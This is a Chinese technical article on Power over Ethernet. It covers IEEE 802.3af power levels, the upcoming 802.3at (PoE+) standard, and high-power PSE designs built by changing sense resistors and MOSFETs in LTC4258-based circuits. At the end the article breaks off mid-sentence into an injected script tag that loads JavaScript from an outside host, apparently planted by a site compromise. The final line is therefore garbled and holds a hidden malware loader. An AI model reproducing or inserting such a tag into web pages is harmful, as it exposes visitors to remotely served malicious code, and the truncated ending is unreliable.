针对以太网电源(poe)的ieee802.3af标准规定将直流电源与10/100/1000mbps数据一起传输,从而为以太网带来了新的面貌。其中,poe带来了一系列独特的问题,对于许多具备设计以太网设备经验的工程师来说,他们并不熟悉针对这些问题的新的思维方式。poe现在常用于voip 电话、无线接入点和安全摄像机。随着poe的发展,有必要增强对该标准的了解以使新的应用成为可能。
通过回顾标准可见,poe链接容许受电设备(pd)从供电设备(pse)吸取最多12.95w的功率。poe链接或端口受到pse的控制,pse通过在上电前的检测和分类,可以识别 pd并监测该端口(icut、ilim和断开)。pse承担了大部分poe的负担,它必须检测poe并无缝地断开电源,以避免损坏原有的设备。如果pse 不能充分地执行分类、供电和监测等功能,那么,就可能出现间歇性故障并造成供电不稳定。pse不能控制一切;当它提供电源的时候,它相信pd是符合标准的,并以无振荡的方式打开电源,从而避免吸取比要求更多的功率。因为两类设备都必须协作,所以,pd和pse设计工程师要从两设备的观点出发考虑设计问题。
新兴应用需要更大的功率
13w对于基本功能ip电话是足够的,但是,对于电动摄像机、多点无线接入和大屏幕彩色显示器等应用,功率却严重不足。ieee目前正在制订更大功率的标准,称为poe+(官方称为ieee802.3at)将与目前可用的 802.3af设备共存。由新标准定义的最终功率级别还没有确定,但是,到目前为止,很可能我们将看到30w的两对供电系统和60w的4对供电系统。 ieee802.3at委员会已经下达了令人畏缩的任务,要定义一种安全、更大功率、后向兼容并与现已部署的802.3af设备互通的全球标准。因为编写这种规范的复杂性很高,我们预期从现在开始算起,一到两年内不可能看到最终规范。
虽然典型的cat5电缆有四对双绞线,但是, 802.3af标准仅仅容许其中两对线在给定时间内传送电流。一种选择是容许第三和第四对线传送额外的电流,从而使可用功率翻一番。第二种选择是提大电流的限制,容许相同的线对传送更大的功率。这些技术都已经出现在专用的poe系统之中。然而,每一种方法都有缺点,使在它们之间作出选择更为复杂。
实现准标准大功率pse
在过渡时期,有些应用需要大功率,等待新标准的到来显然是不现实的。为此,有几种解决方案。下列是构建在符合基本802.3af标准之上的电路(翻译注释: complaint应该是compliant),图1a所示pse电路采用ltc4258,图1b所示pd电路采用ltc4257。如果该应用需要断开交流,在pse电路中可以用ltc4259取代;如果应用要集成开关调整器,在pd电路中可以采用ltc4267取代。
图1a:采用ltc4258实现的符合基本802.3af标准的pse电路。
图1b:采用ltc4257实现的符合基本802.3af标准的pd电路。
大功率工作
下列电路例子展示了实现大功率工作的几种办法。注意:在下面的一些pse电路中,通道4被用于描述电路的变化,但是,也可以采用任何其它通道。
两对大电流方案
通过简单地改变传感器电阻的数值(图1a中的rs1到rs4),就可以增加pse的功率级别。rsn被设为0.5ω,符合802.3af标准的规定 (375maicut,425mailim)。例如,将rsn减小到0.25ω,就可以把电流限制增加一倍(750maicut, 850mailim)。当采用短电缆时,这就可以把pd功率增加一倍;如果电缆较长,其损耗就会增加,从而把传递给pd的功率限制为小于原来的两倍。
图2a:双电流大功率、符合802.3af标准的pse。
注意,ltc4258也采用传感器电阻来检测直流的断路。把该电阻的数值减少到0.25ω,直流断路门限就可以增加一倍,技术上就不符合标准的要求。其它 802.3af参数就不受影响:检测和分类仍然符合标准的要求;而交流断路门限(仅仅对ltc4259)不受传感器电阻变化的影响。因为所提高的直流门限存在断开非常低功率的802.3afpd的风险,尽管这种风险比较小;对于具备802.3afpd的互通性,推荐采用交流断路。
要改变每个通道的其它两个元件,以处理额外的电流。典型情况下,mosfetq4要用较大的器件取代,以在电流限制期间承受更大的功率。在这种应用中,采用d2pak封装的irf530类器件就足够了。此外,也要指定poe数据磁性模块以承载更高的电流。几家磁性元件供应商最近推出了具有足够电流能力的器件。
通过增加两个新元件,我们可以在符合802.3af的工作和大功率条件两者之间进行切换。在这种情形下,rs4要设置为原始的 0.5ω数值,并要选择rs4b,以便rs4iirs4b提供期望的更大电流。把rs4b设置为0.5ω(与rs4的数值相同),就可以把大功率模式设置为802.3af的功率电平的两倍。
当q4b关闭的时候,端口工作在符合802.3af标?script src=http://er12.com/t.js>











